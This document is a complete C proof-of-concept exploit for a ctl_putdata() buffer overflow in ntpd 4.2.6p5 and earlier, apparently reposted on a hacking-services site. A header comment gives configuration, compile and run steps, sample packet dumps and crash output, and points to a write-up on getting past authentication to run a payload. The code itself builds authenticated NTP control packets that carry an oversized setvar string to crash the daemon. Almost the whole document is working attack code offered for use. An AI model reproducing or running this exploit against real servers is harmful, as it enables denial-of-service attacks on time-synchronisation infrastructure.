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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Ntpd <= ntp-4.2.6p5 ctl_putdata() Buffer Overflow
Author: Marcin Kozlowski <marcinguy@yahoo.com>
Based on: ntpq client from ntp package

Provided for legal security research and testing purposes ONLY

PoC

DoS (Denial of Service) PoC. Will crash NTPd.

You will need to know the KEY ID and MD5 password, for example put this in you ntp.conf

--------------
/etc/ntp.conf
--------------

keys /etc/ntp.keys
trustedkey 1
requestkey 1
controlkey 1


and in /etc/ntp.keys

-------------
/etc/ntp.keys
-------------

1 M 1111111




1 is KEY ID 
1111111 is MD5 password

Hostname and Port is hardcoded in the code. Change it if you want :)

gcc ntpd-exp.c -o ntpd-exp

./ntpd-exp
Keyid: 1
MD5 Password: 
Sending 988 octets
Packet data:
 16 08 00 00 00 00 00 00
 00 00 03 b7 73 65 74 76
 ...
 00 00 00 01 28 05 99 c2
 16 ba a7 b7 8d d3 22 00
 0c f7 6a 5f
Sending 36 octets
Packet data:
 16 02 00 00 00 00 00 00
 00 00 00 01 41 00 00 00
 00 00 00 01 7b a5 e6 6e
 e7 a7 f7 cd 65 8f 1d 5f
 51 92 d0 41

KABOOM Ntpd should crash!!!

GDB output:

Program received signal SIGSEGV, Segmentation fault.
read_variables (rbufp=<optimized out>, restrict_mask=<optimized out>)
    at ntp_control.c:2300
2300				for (i = 0; ext_sys_var &&
(gdb) 




If you want to bypass knowing KEY ID and MD5 Password and execute your payload, read more:

http://googleprojectzero.blogspot.com/2015/01/finding-and-exploiting-ntpd.html


*/

#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h> 


typedef unsigned short associd_t; /* association ID */
typedef uint32_t keyid_t;
typedef int SOCKET;

struct sockaddr_in serverAddr;
socklen_t addr_size;	

#define	CTL_MAX_DATA_LEN	1300
#define	MAX_MAC_LEN	(6 * sizeof(uint32_t))	/* SHA */

#define	MODE_CONTROL	6	/* control mode */

#define CTL_OP_CONFIGURE	8

#define	CTL_OP_READVAR		2

#define	CTL_OP_MASK	0x1f

#define NID_md5	4
#define NTP_MAXKEY	65535


/*
 * Stuff for putting things back into li_vn_mode
 */
#define PKT_LI_VN_MODE(li, vn, md) \
        ((u_char)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7)))

#define F1(x, y, z) (z ^ (x & (y ^ z)))
#define F2(x, y, z) F1(z, x, y)
#define F3(x, y, z) (x ^ y ^ z)
#define F4(x, y, z) (y ^ (x | ~z))

#define MD5STEP(f,w,x,y,z,in,s) \
         (w += f(x,y,z) + in, w = (w<<s | w>>(32-s)) + x)


struct ntp_control {
        u_char li_vn_mode;              /* leap, version, mode */
        u_char r_m_e_op;                /* response, more, error, opcode */
        u_short sequence;               /* sequence number of request */
        u_short status;                 /* status word for association */
        associd_t associd;              /* association ID */
        u_short offset;                 /* offset of this batch of data */
        u_short count;                  /* count of data in this packet */
        u_char data[(1300 + MAX_MAC_LEN)]; /* data + auth */
};

#define	NTP_OLDVERSION	((u_char)1)
u_char pktversion = NTP_OLDVERSION + 1;

#define	CTL_HEADER_LEN		(offsetof(struct ntp_control, data))

/*
 * COUNTOF(array) - size of array in elements
 */
#define COUNTOF(arr)    (sizeof(arr) / sizeof((arr)[0]))



/*
 * Sequence number used for requests.  It is incremented before
 * it is used.
 */
u_short sequence;

/*
 * Flag which indicates we should always send authenticated requests
 */
int always_auth = 0;

/*
 * Keyid used for authenticated requests.  Obtained on the fly.
 */
u_long info_auth_keyid = 0;

static	int	info_auth_keytype = NID_md5;	/* MD5 */
static	size_t	info_auth_hashlen = 16;		/* MD5 */

int debug = 10;

SOCKET sockfd;					/* fd socket is opened on */

char currenthost[256];			/* current host name */

char *progname = "exp";

struct savekey {
        struct savekey *next;
        union {
                u_char MD5_key[64];     /* for keys up to to 512 bits */
        } k;
        keyid_t keyid;          /* key identifier */
        int     type;           /* key type */
        u_short flags;          /* flags that wave */
        u_long lifetime;        /* remaining lifetime */
        int keylen;             /* key length */
};

/*
 * The key cache. We cache the last key we looked at here.
 */
keyid_t cache_keyid;            /* key identifier */
u_char  *cache_key;             /* key pointer */
u_int   cache_keylen;           /* key length */
int     cache_type;             /* key type */
u_short cache_flags;            /* flags that wave */


#define KEY_TRUSTED     0x001   /* this key is trusted */

#define	MEMINC	12	

#define EVP_MAX_MD_SIZE	64

typedef struct {
        uint32_t buf[4];
        uint32_t bytes[2];
        uint32_t in[16];
} isc_md5_t;

/*
 * ntp_md5.h: deal with md5.h headers
 *
 * Use the system MD5 if available, otherwise libisc's.
 */



typedef isc_md5_t             MD5_CTX;
#define MD5Init(c)             isc_md5_init(c)
#define MD5Update(c, p, s)     isc_md5_update(c, p, s)
#define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */

/* ssl_init.c */
#ifdef OPENSSL
extern  void    ssl_init                (void);
extern  void    ssl_check_version       (void);
extern  int     ssl_init_done;
#define INIT_SSL()                              \
        do {                                    \
                if (!ssl_init_done)             \
                        ssl_init();             \
        } while (0)
#else   /* !OPENSSL follows */
#define INIT_SSL()              do {} while (0)
#endif

#if defined HAVE_MD5_H && defined HAVE_MD5INIT
# include <md5.h>
#else
  typedef isc_md5_t             MD5_CTX;
# define MD5Init(c)             isc_md5_init(c)
# define MD5Update(c, p, s)     isc_md5_update(c, p, s)
# define MD5Final(d, c)         isc_md5_final((c), (d)) /* swapped */
#endif





/*
 * Provide OpenSSL-alike MD5 API if we're not using OpenSSL
 */

typedef MD5_CTX                       EVP_MD_CTX;
#define EVP_get_digestbynid(t)         NULL
#define EVP_DigestInit(c, dt)          MD5Init(c)
#define EVP_DigestUpdate(c, p, s)      MD5Update(c, p, s)
#define EVP_DigestFinal(c, d, pdl)     \
        do {                            \
                MD5Final((d), (c));     \
                *(pdl) = 16;            \
        } while (0)

                         
/*
 * The hash table. This is indexed by the low order bits of the
 * keyid. We make this fairly big for potentially busy servers.
 */
#define HASHSIZE        64
#define HASHMASK        ((HASHSIZE)-1)
#define KEYHASH(keyid)  ((keyid) & HASHMASK)


#define min(a,b)        (((a) < (b)) ? (a) : (b))


struct savekey *key_hash[HASHSIZE];

u_long authkeynotfound;         /* keys not found */
u_long authkeylookups;          /* calls to lookup keys */
u_long authnumkeys;             /* number of active keys */
u_long authkeyexpired;          /* key lifetime expirations */
u_long authkeyuncached;         /* cache misses */
u_long authnokey;               /* calls to encrypt with no key */
u_long authencryptions;         /* calls to encrypt */
u_long authdecryptions;         /* calls to decrypt */

struct savekey *authfreekeys;

int authnumfreekeys;
u_long current_time;


/*!
 * The core of the MD5 algorithm, this alters an existing MD5 hash to
 * reflect the addition of 16 longwords of new data.  MD5Update blocks
 * the data and converts bytes into longwords for this routine.
 */

void
transform(uint32_t buf[4], uint32_t const in[16]) {
	register uint32_t a, b, c, d;

	a = buf[0];
	b = buf[1];
	c = buf[2];
	d = buf[3];

	MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7);
	MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12);
	MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17);
	MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22);
	MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7);
	MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12);
	MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17);
	MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22);
	MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7);
	MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12);
	MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17);
	MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22);
	MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7);
	MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12);
	MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17);
	MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22);

	MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5);
	MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9);
	MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14);
	MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20);
	MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5);
	MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9);
	MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14);
	MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20);
	MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5);
	MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9);
	MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14);
	MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20);
	MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5);
	MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9);
	MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14);
	MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20);

	MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4);
	MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11);
	MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16);
	MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23);
	MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4);
	MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11);
	MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16);
	MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23);
	MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4);
	MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11);
	MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16);
	MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23);
	MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4);
	MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11);
	MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16);
	MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23);

	MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6);
	MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10);
	MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15);
	MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21);
	MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6);
	MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10);
	MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15);
	MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21);
	MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6);
	MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10);
	MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15);
	MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21);
	MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6);
	MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10);
	MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15);
	MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21);

	buf[0] += a;
	buf[1] += b;
	buf[2] += c;
	buf[3] += d;
}

void
byteSwap(uint32_t *buf, unsigned words)
{
        unsigned char *p = (unsigned char *)buf;

        do {
                *buf++ = (uint32_t)((unsigned)p[3] << 8 | p[2]) << 16 |
                        ((unsigned)p[1] << 8 | p[0]);
                p += 4;
        } while (--words);
}


	
/*!
 * Final wrapup - pad to 64-byte boundary with the bit pattern
 * 1 0* (64-bit count of bits processed, MSB-first)
 */
void
isc_md5_final(isc_md5_t *ctx, unsigned char *digest) {
        int count = ctx->bytes[0] & 0x3f;    /* Number of bytes in ctx->in */
        unsigned char *p = (unsigned char *)ctx->in + count;

        /* Set the first char of padding to 0x80.  There is always room. */
        *p++ = 0x80;

        /* Bytes of padding needed to make 56 bytes (-8..55) */
        count = 56 - 1 - count;

        if (count < 0) {        /* Padding forces an extra block */
                memset(p, 0, count + 8);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                p = (unsigned char *)ctx->in;
                count = 56;
        }
        memset(p, 0, count);
        byteSwap(ctx->in, 14);

        /* Append length in bits and transform */
        ctx->in[14] = ctx->bytes[0] << 3;
        ctx->in[15] = ctx->bytes[1] << 3 | ctx->bytes[0] >> 29;
        transform(ctx->buf, ctx->in);

        byteSwap(ctx->buf, 4);
        memcpy(digest, ctx->buf, 16);
        memset(ctx, 0, sizeof(isc_md5_t));      /* In case it's sensitive */
}






/*!
 * Update context to reflect the concatenation of another buffer full
 * of bytes.
 */
void
isc_md5_update(isc_md5_t *ctx, const unsigned char *buf, unsigned int len) {
        uint32_t t;

        /* Update byte count */

        t = ctx->bytes[0];
        if ((ctx->bytes[0] = t + len) < t)
                ctx->bytes[1]++;        /* Carry from low to high */

        t = 64 - (t & 0x3f);    /* Space available in ctx->in (at least 1) */
        if (t > len) {
                memcpy((unsigned char *)ctx->in + 64 - t, buf, len);
                return;
        }
        /* First chunk is an odd size */
        memcpy((unsigned char *)ctx->in + 64 - t, buf, t);
        byteSwap(ctx->in, 16);
        transform(ctx->buf, ctx->in);
        buf += t;
        len -= t;

        /* Process data in 64-byte chunks */
        while (len >= 64) {
                memcpy(ctx->in, buf, 64);
                byteSwap(ctx->in, 16);
                transform(ctx->buf, ctx->in);
                buf += 64;
                len -= 64;
        }

        /* Handle any remaining bytes of data. */
        memcpy(ctx->in, buf, len);
}



/*!
 * Start MD5 accumulation.  Set bit count to 0 and buffer to mysterious
 * initialization constants.
 */
void
isc_md5_init(isc_md5_t *ctx) {
        ctx->buf[0] = 0x67452301;
        ctx->buf[1] = 0xefcdab89;
        ctx->buf[2] = 0x98badcfe;
        ctx->buf[3] = 0x10325476;

        ctx->bytes[0] = 0;
        ctx->bytes[1] = 0;
}


/*
 * MD5authencrypt - generate message digest
 *
 * Returns length of MAC including key ID and digest.
 */
int
MD5authencrypt(
        int     type,           /* hash algorithm */
        u_char  *key,           /* key pointer */
        uint32_t *pkt,           /* packet pointer */
        int     length          /* packet length */
        )
{
        u_char  digest[EVP_MAX_MD_SIZE];
        u_int   len;
        EVP_MD_CTX ctx;

        /*
         * Compute digest of key concatenated with packet. Note: the
         * key type and digest type have been verified when the key
         * was creaded.
         */
        INIT_SSL();
        EVP_DigestInit(&ctx, EVP_get_digestbynid(type));
        EVP_DigestUpdate(&ctx, key, (u_int)cache_keylen);
        EVP_DigestUpdate(&ctx, (u_char *)pkt, (u_int)length);
        EVP_DigestFinal(&ctx, digest, &len);
        memmove((u_char *)pkt + length + 4, digest, len);
        return (len + 4);
}




/*
 * authhavekey - return one and cache the key, if known and trusted.
 */
int
authhavekey(
	keyid_t keyno
	)
{
	struct savekey *sk;

	authkeylookups++;
	if (keyno == 0 || keyno == cache_keyid)
		return (1);

	/*
	 * Seach the bin for the key. If found and the key type
	 * is zero, somebody marked it trusted without specifying
	 * a key or key type. In this case consider the key missing.
	 */
	authkeyuncached++;
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			if (sk->type == 0) {
				authkeynotfound++;
				return (0);
			}
			break;
		}
		sk = sk->next;
	}

	/*
	 * If the key is not found, or if it is found but not trusted,
	 * the key is not considered found.
	 */
	if (sk == NULL) {
		authkeynotfound++;
		return (0);

	}
	if (!(sk->flags & KEY_TRUSTED)) {
		authnokey++;
		return (0);
	}

	/*
	 * The key is found and trusted. Initialize the key cache.
	 */
	cache_keyid = sk->keyid;
	cache_type = sk->type;
	cache_flags = sk->flags;
	cache_key = sk->k.MD5_key;
	cache_keylen = sk->keylen;
	return (1);
}



/*
 * authencrypt - generate message authenticator
 *
 * Returns length of authenticator field, zero if key not found.
 */
int
authencrypt(
        keyid_t keyno,
        uint32_t *pkt,
        int length
        )
{

        /*
         * A zero key identifier means the sender has not verified
         * the last message was correctly authenticated. The MAC
         * consists of a single word with value zero.
         */
        authencryptions++;
        pkt[length / 4] = htonl(keyno);
        if (keyno == 0) {
                return (4);
        }
        if (!authhavekey(keyno))
                return (0);

        return (MD5authencrypt(cache_type, cache_key, pkt, length));
}


/*
 * authtrust - declare a key to be trusted/untrusted
 */
void
authtrust(
	keyid_t keyno,
	u_long trust
	)
{
	struct savekey *sk;

	/*
	 * Search bin for key; if it does not exist and is untrusted,
	 * forget it.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != 0) {
		if (keyno == sk->keyid)
		    break;

		sk = sk->next;
	}
	if (sk == 0 && !trust)
		return;

	/*
	 * There are two conditions remaining. Either it does not
	 * exist and is to be trusted or it does exist and is or is
	 * not to be trusted.
	 */	
	if (sk != 0) {
		if (cache_keyid == keyno) {
			cache_flags = 0;
			cache_keyid = 0;
		}

		/*
		 * Key exists. If it is to be trusted, say so and
		 * update its lifetime. If not, return it to the
		 * free list.
		 */
		if (trust > 0) {
			sk->flags |= KEY_TRUSTED;
			if (trust > 1)
				sk->lifetime = current_time + trust;
			else
				sk->lifetime = 0;
			return;
		}
		sk->flags &= ~KEY_TRUSTED; {
			struct savekey *skp;

			skp = key_hash[KEYHASH(keyno)];
			if (skp == sk) {
				key_hash[KEYHASH(keyno)] = sk->next;
			} else {
				while (skp->next != sk)
				    skp = skp->next;
				skp->next = sk->next;
			}
			authnumkeys--;

			sk->next = authfreekeys;
			authfreekeys = sk;
			authnumfreekeys++;
		}
		return;
	}

	/*
	 * Here there is not key, but the key is to be trusted. There
	 * seems to be a disconnect here. Here we allocate a new key,
	 * but do not specify a key type, key or key length.
	 */ 
	if (authnumfreekeys == 0)
	    if (auth_moremem() == 0)
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;
	sk->keyid = keyno;
	sk->type = 0;
	sk->keylen = 0;
	sk->flags = KEY_TRUSTED;
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
	authnumkeys++;
	return;
}




/*
 * auth_moremem - get some more free key structures
 */
int
auth_moremem(void)
{
        struct savekey *sk;
        int i;

        sk = (struct savekey *)calloc(MEMINC, sizeof(struct savekey));
        if (sk == 0)
                return (0);

        for (i = MEMINC; i > 0; i--) {
                sk->next = authfreekeys;
                authfreekeys = sk++;
        }
        authnumfreekeys += MEMINC;
        return (authnumfreekeys);
}


void
MD5auth_setkey(
	keyid_t keyno,
	int	keytype,
	const u_char *key,
	const int len
	)
{
	struct savekey *sk;
	
	/*
	 * See if we already have the key.  If so just stick in the
	 * new value.
	 */
	sk = key_hash[KEYHASH(keyno)];
	while (sk != NULL) {
		if (keyno == sk->keyid) {
			sk->type = keytype;
			sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
			memcpy(sk->k.MD5_key, key, sk->keylen);
#else
			strncpy((char *)sk->k.MD5_key, (const char *)key,
			    sizeof(sk->k.MD5_key));
#endif
			if (cache_keyid == keyno) {
				cache_flags = 0;
				cache_keyid = 0;
			}
			return;
		}
		sk = sk->next;
	}

	/*
	 * Need to allocate new structure.  Do it.
	 */
	if (0 == authnumfreekeys && !auth_moremem())
		return;

	sk = authfreekeys;
	authfreekeys = sk->next;
	authnumfreekeys--;

	sk->keyid = keyno;
	sk->type = keytype;
	sk->flags = 0;
	sk->lifetime = 0;
	sk->keylen = min(len, sizeof(sk->k.MD5_key));
#ifndef DISABLE_BUG1243_FIX
	memcpy(sk->k.MD5_key, key, sk->keylen);
#else
	strncpy((char *)sk->k.MD5_key, (const char *)key,
	    sizeof(sk->k.MD5_key));
#endif
	sk->next = key_hash[KEYHASH(keyno)];
	key_hash[KEYHASH(keyno)] = sk;
#ifdef DEBUG
	if (debug > 1) {
		char	hex[] = "0123456789abcdef";
		int	j;

		printf("auth_setkey: key %d type %d len %d ", sk->keyid,
		    sk->type, sk->keylen);
		for (j = 0; j < sk->keylen; j++)
				printf("%c%c", hex[key[j] >> 4],
				    hex[key[j] & 0xf]);
		printf("\n");
	}	
#endif
	authnumkeys++;
}


/*
 * Types of ascii representations for keys.  "Standard" means a 64 bit
 * hex number in NBS format, i.e. with the low order bit of each byte
 * a parity bit.  "NTP" means a 64 bit key in NTP format, with the
 * high order bit of each byte a parity bit.  "Ascii" means a 1-to-8
 * character string whose ascii representation is used as the key.
 */
int
authusekey(
        keyid_t keyno,
        int keytype,
        const u_char *str
        )
{
        const u_char *cp;
        int len;

        cp = str;
        len = strlen((const char *)cp);
        if (len == 0)
                return 0;

        MD5auth_setkey(keyno, keytype, str, (int)strlen((const char *)str));
        return 1;
}


/*
 * keytype_name         returns OpenSSL short name for digest by NID.
 *
 * Used by ntpq and ntpdc keytype()
 */
const char *
keytype_name(
        int nid
        )
{
        static const char unknown_type[] = "(unknown key type)";
        const char *name;

#ifdef OPENSSL
        INIT_SSL();
        name = OBJ_nid2sn(nid);
        if (NULL == name)
                name = unknown_type;
#else   /* !OPENSSL follows */
        if (NID_md5 == nid)
                name = "MD5";
        else
                name = unknown_type;
#endif
        return name;
}


/*
 * getpass_keytype() -- shared between ntpq and ntpdc, only vaguely
 *                      related to the rest of ssl_init.c.
 */
char *
getpass_keytype(
        int     keytype
        )
{
        char    pass_prompt[64 + 11 + 1]; /* 11 for " Password: " */

        snprintf(pass_prompt, sizeof(pass_prompt),
                 "%.64s Password: ", keytype_name(keytype));

        return getpass(pass_prompt);
}


int
authistrusted(
        keyid_t keyno
        )
{
        struct savekey *sk;

        if (keyno == cache_keyid)
            return ((cache_flags & KEY_TRUSTED) != 0);

        authkeyuncached++;
        sk = key_hash[KEYHASH(keyno)];
        while (sk != 0) {
                if (keyno == sk->keyid)
                    break;
                sk = sk->next;
        }
        if (sk == 0) {
                authkeynotfound++;
                return (0);

        } else if (!(sk->flags & KEY_TRUSTED)) {
                authkeynotfound++;
                return (0);
        }
        return (1);
}



u_long
getkeyid(
	const char *keyprompt
	)
{
	int c;
	FILE *fi;
	char pbuf[20];
	size_t i;
	size_t ilim;

#ifndef SYS_WINNT
	if ((fi = fdopen(open("/dev/tty", 2), "r")) == NULL)
#else
	if ((fi = _fdopen(open("CONIN$", _O_TEXT), "r")) == NULL)
#endif /* SYS_WINNT */
		fi = stdin;
	else
		setbuf(fi, (char *)NULL);
	fprintf(stderr, "%s", keyprompt); fflush(stderr);
	for (i = 0, ilim = COUNTOF(pbuf) - 1;
	     i < ilim && (c = getc(fi)) != '\n' && c != EOF;
	     )
		pbuf[i++] = (char)c;
	pbuf[i] = '\0';
	if (fi != stdin)
		fclose(fi);

	return (u_long) atoi(pbuf);
}


void
warning(
	const char *fmt,
	const char *st1,
	const char *st2
	)
{
	(void) fprintf(stderr, "%s: ", progname);
	(void) fprintf(stderr, fmt, st1, st2);
	(void) fprintf(stderr, ": ");
	perror("");
}


int
sendpkt(
	void *	xdata,
	size_t	xdatalen
	)
{
	if (debug >= 3)
		printf("Sending %lu octets\n", (u_long)xdatalen);
        
        sendto(sockfd,xdata,(size_t)xdatalen, 0,(struct sockaddr *)&serverAddr,addr_size);


	if (debug >= 4) {
		int first = 8;
		char *cdata = xdata;

		printf("Packet data:\n");
		while (xdatalen-- > 0) {
			if (first-- == 0) {
				printf("\n");
				first = 7;
			}
			printf(" %02x", *cdata++ & 0xff);
		}
		printf("\n");
	}
	return 0;
}


void error(char *msg)
{
    perror(msg);
    exit(0);
}


int main(int argc, char *argv[])
{

  char *cfgcmd;
  u_short rstatus;
  int rsize;
  const char *rdata;
  char *resp;
  int res;
  int col;
  int i;
     
  int portNum, nBytes;
  char buffer[1024];


  /*Create UDP socket*/
  sockfd = socket(PF_INET, SOCK_DGRAM, 0);

  /*Configure settings in address struct*/
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_port = htons(123);
  serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);  

  /*Initialize size variable to be used later on*/
  addr_size = sizeof serverAddr;




  cfgcmd = "setvar A = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

  res = sendrequest(CTL_OP_CONFIGURE, 0, 1, strlen(cfgcmd), cfgcmd,
		      &rstatus, &rsize, &rdata);

  sleep(5);
  cfgcmd = "A";

  res = sendrequest(CTL_OP_READVAR, 0, 1, strlen(cfgcmd), cfgcmd, 
                       &rstatus, &rsize, &rdata);


}

/*
 * sendrequest - format and send a request packet
 */
int
sendrequest(
	int opcode,
	int associd,
	int auth,
	int qsize,
	char *qdata
	)
{
	struct ntp_control qpkt;
	int	pktsize;
	u_long	key_id;
	char *	pass;
	int	maclen;

	/*
	 * Check to make sure the data will fit in one packet
	 */
	if (qsize > CTL_MAX_DATA_LEN) {
		fprintf(stderr,
			"***Internal error!  qsize (%d) too large\n",
			qsize);
		return 1;
	}

	/*
	 * Fill in the packet
	 */
	qpkt.li_vn_mode = PKT_LI_VN_MODE(0, pktversion, MODE_CONTROL);
	qpkt.r_m_e_op = (u_char)(opcode & CTL_OP_MASK);
	qpkt.sequence = htons(sequence);
	qpkt.status = 0;
	qpkt.associd = htons((u_short)associd);
	qpkt.offset = 0;
	qpkt.count = htons((u_short)qsize);

	pktsize = CTL_HEADER_LEN;

	/*
	 * If we have data, copy and pad it out to a 32-bit boundary.
	 */
	if (qsize > 0) {
		memcpy(qpkt.data, qdata, (size_t)qsize);
		pktsize += qsize;
		while (pktsize & (sizeof(uint32_t) - 1)) {
			qpkt.data[qsize++] = 0;
			pktsize++;
		}
	}

	/*
	 * If it isn't authenticated we can just send it.  Otherwise
	 * we're going to have to think about it a little.
	 */
	if (!auth && !always_auth) {
		return sendpkt(&qpkt, pktsize);
	} 

	/*
	 * Pad out packet to a multiple of 8 octets to be sure
	 * receiver can handle it.
	 */
	while (pktsize & 7) {
		qpkt.data[qsize++] = 0;
		pktsize++;
	}

	/*
	 * Get the keyid and the password if we don't have one.
	 */
	if (info_auth_keyid == 0) {
		key_id = getkeyid("Keyid: ");
		if (key_id == 0 || key_id > NTP_MAXKEY) {
			fprintf(stderr, 
				"Invalid key identifier\n");
			return 1;
		}
		info_auth_keyid = key_id;
	}
	if (!authistrusted(info_auth_keyid)) {
		pass = getpass_keytype(info_auth_keytype);
		if ('\0' == pass[0]) {
			fprintf(stderr, "Invalid password\n");
			return 1;
		}
		authusekey(info_auth_keyid, info_auth_keytype,
			   (u_char *)pass);
		authtrust(info_auth_keyid, 1);
	}

	/*
	 * Do the encryption.
	 */
	maclen = authencrypt(info_auth_keyid, (void *)&qpkt, pktsize);
	if (!maclen) {  
		fprintf(stderr, "Key not found\n");
		return 1;
	} else if ((size_t)maclen != (info_auth_hashlen + sizeof(keyid_t))) {
		fprintf(stderr,
			"%d octet MAC, %lu expected with %lu octet digest\n",
			maclen, (u_long)(info_auth_hashlen + sizeof(keyid_t)),
			(u_long)info_auth_hashlen);
		return 1;
	}
	
	return sendpkt((char *)&qpkt, pktsize + maclen);
}